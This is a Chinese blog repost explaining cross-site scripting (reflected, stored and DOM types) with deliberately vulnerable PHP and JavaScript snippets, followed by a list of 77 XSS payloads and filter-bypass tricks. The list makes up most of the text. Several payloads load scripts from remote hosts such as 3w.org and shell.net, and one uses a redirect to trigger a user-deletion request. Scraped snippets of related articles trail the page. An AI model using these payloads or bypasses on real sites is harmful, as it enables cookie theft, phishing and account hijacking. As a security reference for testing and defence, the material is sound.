XSS攻击常识及常见的XSS攻击脚本汇总

一、什么是XSS?

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。

这里我们主要注意四点:1、目标网站目标用户;2、浏览器;3、不被预期;4、脚本。

二、XSS有什么危害?

当我们知道了什么是XSS后,也一定很想知道它到底有什么用,或者有什么危害,如何防御。

关于XSS有关危害,我这里中罗列一段列表,详细介绍不进行更多的赘述:

  • 挂马
  • 盗取用户Cookie。
  • DOS(拒绝服务)客户端浏览器。
  • 钓鱼攻击,高级的钓鱼技巧。
  • 删除目标文章、恶意篡改数据、嫁祸。
  • 劫持用户Web行为,甚至进一步渗透内网。
  • 爆发Web2.0蠕虫。
  • 蠕虫式的DDoS攻击。
  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
  • 其它安全问题

三、XSS分类

XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。

1、反射型XSS

发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。
一个简单的例子:
http://www.a.com/xss/reflect.php的代码如下:

<?php
echo $_GET[‘x‘];
?>

如果输入x的值未经任何过滤就直接输出,提交:http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>
alert()函数会在浏览器触发。

2、存储型XSS

存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。

3、DOM XSS

DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
http://www.a.com/xss/domxss.html代码如下:

<script>
eval(location.hash.substr(1));
</script>

触发方式为:http://www.a.com/xss/domxss.html#alert(1)

这个URL#后的内容是不会发送到服务器端的,仅仅在客户端被接收并解执行。
常见的输入点有:

document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name

xhr请求回来的数据

document.cookie

表单项的值

常见的输出点有:
直接输出html内容,如:

document.write(...)
document.writeln(...)
document.body.innerHtml=...

直接修改DOM树(包括DHTML)如:

document.forms[0].action...(以及其他集合,如:一些对象的src/href属性等)
document.attachEvent(...)
document.create...(...)
document.execCommand(...)
document.body. ...(直接通过body对象访问DOM)
window.attachEvent(...)

替换document URL,如:

document.location=...(以及直接赋值给location的href,host,hostname属性)
document.location.hostname=...
document.location.replace(...)
document.location.assign(...)
document.URL=...
window.navigate(...)

打开或修改新窗口,如:

document.open(...)
window.open(...)
window.location.href=...(以及直接赋值给location的href,host,hostname属性)直接执行脚本,如:
eval(...)
window.execScript(...)
window.setInterval(...)
window.setTimeout(...)

附常见的XSS攻击方法

(1)普通的XSS JavaScript注入

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令

<IMG SRC=http://3w.org/XSS/xss.js/>

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert(‘XSS‘)>

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS‘)>

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert("XSS")>

(6)修正缺陷IMG标签

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

(7)formCharCode标签(计算器)

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)

<IMG SRC=jav..省略..S‘)>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

<IMG SRC=jav..省略..S‘)>

(10)十六进制编码也是没有分号(计算器)

<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将Javascript分开

<IMG SRC="jav ascript:alert(‘XSS‘);">

(12)嵌入式编码标签,将Javascript分开

<IMG SRC="jav ascript:alert(‘XSS‘);">

(13)嵌入式换行符

<IMG SRC="jav ascript:alert(‘XSS‘);">

(14)嵌入式回车

<IMG SRC="jav ascript:alert(‘XSS‘);">

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC="javascript:alert(‘XSS‘)">

(16)解决限制字符(要求同页面)

<script>z=‘document.‘</script>
<script>z=z+‘write("‘</script>
<script>z=z+‘<script‘</script>
<script>z=z+‘ src=ht‘</script>
<script>z=z+‘tp://ww‘</script>
<script>z=z+‘w.shell‘</script>
<script>z=z+‘.net/1.‘</script>
<script>z=z+‘js></sc‘</script>
<script>z=z+‘ript>")‘</script>
<script>eval_r(z)</script>

(17)空字符12-7-1 T00LS - Powered by Discuz! Board

https://www.a.com/viewthread.php?action=printable&tid=15267 2/6
perl -e ‘print "<IMG SRC=java\0script:alert(\"XSS\")>";‘ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";‘ > out

(19)Spaces和meta前的IMG标签

<IMG SRC=" javascript:alert(‘XSS‘);">

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>

(21)Non-alpha-non-digit XSS to 2

<BODY onload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert("XSS")>

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>

(23)双开括号

<<SCRIPT>alert("XSS");//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2

<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS

<IMG SRC="javascript:alert(‘XSS‘)"

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript

\";alert(‘XSS‘);//

(30)结束Title标签

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

(31)Input Image

<INPUT SRC="javascript:alert(‘XSS‘);">

(32)BODY Image

<BODY BACKGROUND="javascript:alert(‘XSS‘)">

(33)BODY标签

<BODY(‘XSS‘)>

(34)IMG Dynsrc

<IMG DYNSRC="javascript:alert(‘XSS‘)">

(35)IMG Lowsrc

<IMG LOWSRC="javascript:alert(‘XSS‘)">

(36)BGSOUND

<BGSOUND SRC="javascript:alert(‘XSS‘);">

(37)STYLE sheet

<LINK REL="stylesheet" HREF="javascript:alert(‘XSS‘);">

(38)远程样式表

<LINK REL="stylesheet" HREF="http://3w.org/xss.css">

(39)List-style-image(列表式)

<STYLE>li {list-style-image: url("javascript:alert(‘XSS‘)");}</STYLE><UL><LI>XSS

(40)IMG VBscript

<IMG SRC=‘vbscript:msgbox("XSS")‘></STYLE><UL><LI>XSS

(41)META链接url

<META HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:alert(‘XSS‘);">

(42)Iframe

<IFRAME SRC="javascript:alert(‘XSS‘);"></IFRAME>

(43)Frame

<FRAMESET><FRAME SRC="javascript:alert(‘XSS‘);"></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 3/6

(44)Table

<TABLE BACKGROUND="javascript:alert(‘XSS‘)">

(45)TD

<TABLE><TD BACKGROUND="javascript:alert(‘XSS‘)">

(46)DIV background-image

<DIV STYLE="background-image: url(javascript:alert(‘XSS‘))">

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
8&13&12288&65279)

<DIV STYLE="background-image: url(javascript:alert(‘XSS‘))">

(48)DIV expression

<DIV STYLE="width: expression_r(alert(‘XSS‘));">

(49)STYLE属性分拆表达

<IMG STYLE="xss:expression_r(alert(‘XSS‘))">

(50)匿名STYLE(组成:开角号和一个字母开头)

<XSS STYLE="xss:expression_r(alert(‘XSS‘))">

(51)STYLE background-image

<STYLE>.XSS{background-image:url("javascript:alert(‘XSS‘)");}</STYLE><A
CLASS=XSS></A>

(52)IMG STYLE方式

exppression(alert("XSS"))‘>

(53)STYLE background

<STYLE><STYLE
type="text/css">BODY{background:url("javascript:alert(‘XSS‘)")}</STYLE>

(54)BASE

<BASE HREF="javascript:alert(‘XSS‘);//">

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>

(56)在flash中使用ActionScrpt可以混进你XSS的代码

a="get";
b="URL(\"";
c="javascript:";
d="alert(‘XSS‘);\")";
eval_r(a+b+c+d);

(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上

<HTML xmlns:xss>
<?import namespace="xss" implementation="http://3w.org/XSS/xss.htc">
<xss:xss>XSS</xss:xss>
</HTML>

(58)如果过滤了你的JS你可以在图片里添加JS代码来利用

<SCRIPT SRC=""></SCRIPT>

(59)IMG嵌入式命令,可执行任意命令

<IMG SRC="http://www.a.com/a.php?a=b">

(60)IMG嵌入式命令(a.jpg在同服务器)

Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

(61)绕符号过滤

<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>

(62)

<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>

(63)

<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>

(64)

<SCRIPT "a=‘>‘" SRC="http://3w.org/xss.js"></SCRIPT>

(65)

<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>

(66)12-7-1 T00LS - Powered by Discuz! Board

https://www.a.com/viewthread.php?action=printable&tid=15267 4/6
<SCRIPT a=">‘>" SRC="http://3w.org/xss.js"></SCRIPT>

(67)

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js">
</SCRIPT>

(68)URL绕行

<A HREF="http://127.0.0.1/">XSS</A>

(69)URL编码

<A HREF="http://3w.org">XSS</A>

(70)IP十进制

<A HREF="http://3232235521″>XSS</A>

(71)IP十六进制

<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>

(72)IP八进制

<A HREF="http://0300.0250.0000.0001″>XSS</A>

(73)混合编码

<A HREF="h
tt p://6 6.000146.0×7.147/"">XSS</A>

(74)节省[http:]

<A HREF="//www.google.com/">XSS</A>

(75)节省[www]

<A HREF="http://google.com/">XSS</A>

(76)绝对点绝对DNS

<A HREF="http://www.google.com./">XSS</A>

(77)javascript链接

<A HREF="javascript:document.location=‘http://www.google.com/‘">XSS</A>

原文地址:https://www.cnblogs.com/blacksunny/p/9164421.html

时间: 2024-10-12 21:15:08

XSS攻击常识及常见的XSS攻击脚本汇总的相关文章

Atitit.&#160;Xss&#160;漏洞的原理and应用xss木马

Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”.“WEB蠕虫3 2.4. 广告植入 弹窗 .信息收集 .流量转发 甚至是路由劫持3 2.5. 钓鱼攻击,高级的钓鱼技巧.3 2.6. 删除目标文章.恶意篡改数据.嫁祸.3 2.7. 劫持用户Web行为,甚至进一步渗透内网.3 2.8. 爆发Web2.0蠕虫.3 2.9. 蠕虫式的DDoS攻击.3 2

什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?

答: - XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意脚本的链接以达到攻击的目标,目前有很多攻击者利用论坛.微博发布含有恶意脚本的URL就属于这种方式)和持久型攻击(将恶意脚本提交到被攻击网站的数据库中,用户浏览网页时,恶意脚本从数据库中被加载到页面执行,QQ邮箱的早期版本就曾经被利用作为持久型跨站脚本攻击的平台).XSS虽然不是什么新鲜玩意,但

XSS研究2-来自内部的XSS攻击的防范

引入: 前面我们分2篇文章分别探讨了来自外部的XSS攻击和来自内部的XSS攻击,现在我们来专门探讨如何防范来自内部的XSS攻击.   实践:  http://www.cnblogs.com/crazylqy/p/4146740.html 文章中可以看出,主要的攻击手段无外乎是发送了一段恶意脚本到受害者机器上去运行,所以我们的思路就是,如何让这段脚本失效.   因为脚本的组成部分是<script>和</script>,而这其中最主要的是大于号和小于号字符,所以我们只要在请求中,把 大

常见Web应用攻击原理与威胁分析

目前常用的针对应用漏洞的攻击已经多达几百种,最为常见的攻击为下表列出的十种. 十大攻击手段 应用威胁 负面影响 后果 跨网站脚本攻击 标识盗窃,敏感数据丢失- 黑客可以模拟合法用户,控制其帐户. 注入攻击 通过构造查询对数据库.LDAP 和其他系统进行非法查询. 黑客可以访问后端数据库信息,修改.盗窃. 恶意文件执行 在服务器上执行 Shell 命令 Execute,获取控制权. 被修改的站点将所有交易传送给黑客 不安全对象引用 黑客访问敏感文件和资源 Web 应用返回敏感文件内容 伪造跨站点请

常见的web攻击

1. sql注入:    在sql语句中,如果存在'--'字符,则执行sql语句时会注释掉--字符后面的内容.凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分.     危害:         1.非法读取.篡改.删除数据        2.盗取用户的各类敏感信息,获取利益         3.通过修改数据库来修改页面上的内容         4.注入木马等等         防止方式有:         1.使用

常见的DNS攻击——偷(劫持)、骗(缓存投毒)、打(DDos)

常见的DNS攻击包括: 1) 域名劫持 通过采用黑客手段控制了域名管理密码和域名管理邮箱,然后将该域名的NS纪录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名纪录,从而使网民访问该域名时,进入了黑客所指向的内容. 这显然是DNS服务提供商的责任,用户束手无策. 2) 缓存投毒 利用控制DNS缓存服务器,把原本准备访问某网站的用户在不知不觉中带到黑客指向的其他网站上.其实现方式有多种,比如可以通过利用网民ISP端的DNS缓存服务器的漏洞进行攻击或控制,从而改变该ISP内的

(转)常见的HTTPS攻击方法

0x00 背景 研究常见的https攻击方法 Beast crime breach,并针对https的特性提出一些安全部署https的建议. 针对于HTTPS的攻击,多存在于中间人攻击的环境中,主要是针对于HTTPS所使用的压缩算法和CBC加密模式,进行side-channel-attack.这几类攻击的前置条件都比较苛刻,且都需要受害主机提交很多次请求来收集破译关键数据的足够信息. 常见的攻击方法,主要有,BEAST Lucky-13 RC4 Biases CRIME TIME BREACH等

常见的网站攻击方式和防护方法(小白通俗篇)

作为站长兢兢业业的编辑推广,辛辛苦苦才收点广告费,网站流量大了便会时常面对黑客的攻击,我的网站遭遇了两次因攻击死亡或瘫痪的经历,第一次是织梦CMS被博彩整站篡改网站死亡,第二次是刚刚经历的流量攻击网站多次瘫痪流量波动,故总结下常见的网站攻击方式和防护方法,以供自己和大家参见,因安全这方面我也是小白,这里以小白看得懂的语言分类编写,如总结有误或不足,望大神们不吝赐教. 第一种:网页篡改 攻击描述:针对网站程序漏洞,植入木马(webshell.跨站脚本攻击),篡改网页,添加黑链或者嵌入非本站信息,甚

不可不知!4种常见的黑客攻击手段

在计算机安全方面,黑客是专注于计算机和网络系统安全机制的人.今天给大家揭秘4种常见的计算机攻击手段,让大家更好了解计算机安全知识. 特洛伊木马 一个特洛伊木马是,这似乎是做一件事情,但实际上做一套程序.它可用于在计算机系统中设置后门,使入侵者能够在以后获得访问权限.这个名字指的是来自特洛伊战争的马,其概念上类似于欺骗防御者将入侵者带入保护区的功能. ?电脑病毒 一个病毒是一种自我复制的程序,它通过将自身复制到其他可执行代码或文件进行传播.通过这样做,其表现类似于生物病毒,其通过将其自身插入活细胞